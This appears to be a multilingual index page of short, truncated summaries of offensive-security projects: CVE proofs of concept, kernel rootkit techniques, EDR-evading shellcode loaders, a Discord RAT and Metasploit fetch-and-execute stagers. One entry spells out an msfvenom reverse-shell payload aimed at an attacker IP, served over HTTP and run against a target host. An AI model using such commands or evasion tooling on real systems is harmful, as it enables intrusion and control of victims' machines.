CVE-2023-38831

CVE-2023-38831 CVE-2023-38831 è una vulnerabilità RCE in WinRAR 6.23 Riferimento: https://github.com/z3r0sw0rd/CVE-2023-38831-PoC Leggi l'analisi del TAG di Google: https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ Scarica l'ultima versione...

CVE-2020-1020-Exploit

CVE-2020-1020 Exploit LPE di overflow del pool di font Type1 Sistemi operativi supportati : Windows 7,8,8.1 x64...

CrystalSliver

crystal-kit-sliver Kit di evasione Crystal Palace portato su Sliver C2. Questo è il primo porting pubblico del Crystal-Kit di rasta-mouse Cobalt Strike su Sliver. Segue lo stesso schema cross-C2 già dimostrato da Crystal-Kit-Xenon Mythic. Licenza: MIT — Copyright c 2026 Simone Licitra Destinazion...

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass

-Win10-x64-CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass Meine Version - Win10 x64 CloudMe-Sync-1.10.9-Buffer-Overflow-SEH-DEP-Bypass...

swapgs-attack-poc

PoC per l'attacco SWAPGS CVE-2019-1125 Questo repository contiene i sorgenti del PoC dell'attacco SWAPGS mostrato pubblicamente al Black Hat USA 2019. Contenuti leakgsbkva - variante 1 cerca valori casuali nella memoria del kernel; limitato all'intestazione dell'immagine del kernel PE leakgsbkvat...

micr0_shell

micr0 shell Micr0shell è uno script Python leggero ed efficiente progettato per generare dinamicamente shellcode Windows X64 Position-Independent Code PIC Null-Free per reverse shell. A seconda delle opzioni selezionate, il shellcode generato può essere fino a 27 byte più piccolo di shellcode...

VectorKernel

VectorKernel PoCs für Kernelmode-Rootkit-Techniken zu Forschungs- oder Bildungszwecken. Derzeit Fokus auf Windows-Betriebssysteme. Alle Module unterstützen ausschließlich x64-64-Bit-Betriebssysteme. Umgebung Alle Module wurden unter Windows 11 x64 getestet. Zum Testen der Treiber können folgende...

SILVERPICK

SILVERPICK VERSIONE v1.1 PANORAMICA Il progetto SILVERPICK è un Windows User-Mode Shellcode Development Framework WUMSDF il cui unico scopo è consentire agli sviluppatori di capability di creare blob di Position Independent Code PIC per Windows x64 usando C/C++ in modo semplice, così da ridurre i...

cve-2022-3218

Passo 1 — Creare un payload REALE Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Passo 2 — Servire il payload via HTTP Nella stessa directory: python3 -m http.server 80 Passo 3 — Adattare l'exploit Esegui così: python3 CVE-2022-3218.py 172.20.7.18...

cve-2026-0828

CVE-2026-0828 — PoC BYOVD di Safetica ProcessMonitorDriver.sys Il driver kernel DLP di Safetica ProcessMonitorDriver.sys espone un IOCTL non autenticato che consente a qualsiasi chiamante in modalità utente di terminare processi arbitrari tramite ZwTerminateProcess nel contesto del kernel,...

lacuna-rs

lacuna-rs Ghost-frame call-stack spoofing + chiamate di sistema indirette runtime per Windows x64 — portato in Rust. Portato da LACUNA Chain lacunachain.c di Mohamed Alzhrani 0xmaz. lacuna-rs è un crate Rust riutilizzabile che fornisce le stesse primitive del C TTP originale, strutturato per pote...

nimcrypt

nimcrypt Un loader di shellcode per Sliver scritto in Nim per Windows x64. Due varianti per coprire le due situazioni di consegna più comuni. Testato contro Windows Defender con protezione in tempo reale attiva. Varianti stager Legge un blob di shellcode crittografato dal disco, lo decifra in...

stealth_call

Cos'è? Libreria header-only per Windows x64 che consente di invocare qualsiasi syscall NT senza toccare gli import di ntdll, senza lasciare stringhe nel binario e senza i soliti campanelli d'allarme che fanno impazzire gli EDR. Niente CRT. Niente STL. Niente IAT. L'intero progetto compila a circa...

NovaHypervisor

NovaHypervisor Descrizione NovaHypervisor è un hypervisor difensivo basato su host Intel x64. L'obiettivo di questo progetto è proteggere da attacchi a livello kernel tramite Bring Your Own Vulnerable Driver BYOVD o altri mezzi salvaguardando i prodotti di difesa Antivirus / Protezione endpoint e...

PINKPANTHER

PINKPANTHER Kurzbeschreibung Windows x64 handgefertigter Kernel-Mode-Shellcode, um das primäre Zugriffstoken des ausgeführten Prozesses durch das SYSTEM-Prozesstoken zu ersetzen, zur Elevation of PrivilegeEoP. Unterstützte Betriebssystemversionen Windows 7/Windows Server 2008 R2 Build 7601 Window...

AsmLdr

AsmLdr: Un Loader di Shellcode Dinamico per Windows x64 Panoramica AsmLdr è un avanzato loader di shellcode implementato in assembly x64, progettato per ambienti Windows x64. Il suo scopo principale è eseguire payload crittografati riducendo al minimo il rilevamento da parte di software antivirus...

DiscordRAT

DiscordRAT V2 Ferramenta de Administração Remota do Discord totalmente escrita em Python3. Este é um RAT controlado via Discord com mais de 20 módulos de pós-exploração. Aviso Legal: Esta ferramenta é apenas para uso educacional, o autor não se responsabiliza por qualquer uso indevido desta...

FTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Listen for a pipe connection Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module...

FTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)

Fetch and execute an x64 payload from an FTP server. Spawn a piped command shell Windows x64 staged. Connect back to the attacker with UUID Support Windows x64 Module Options This module requires Metasploit: https://metasploit.com/download Current source:...

FTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager

Fetch and execute an x64 payload from an FTP server. Connect back to the attacker via a named pipe pivot Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...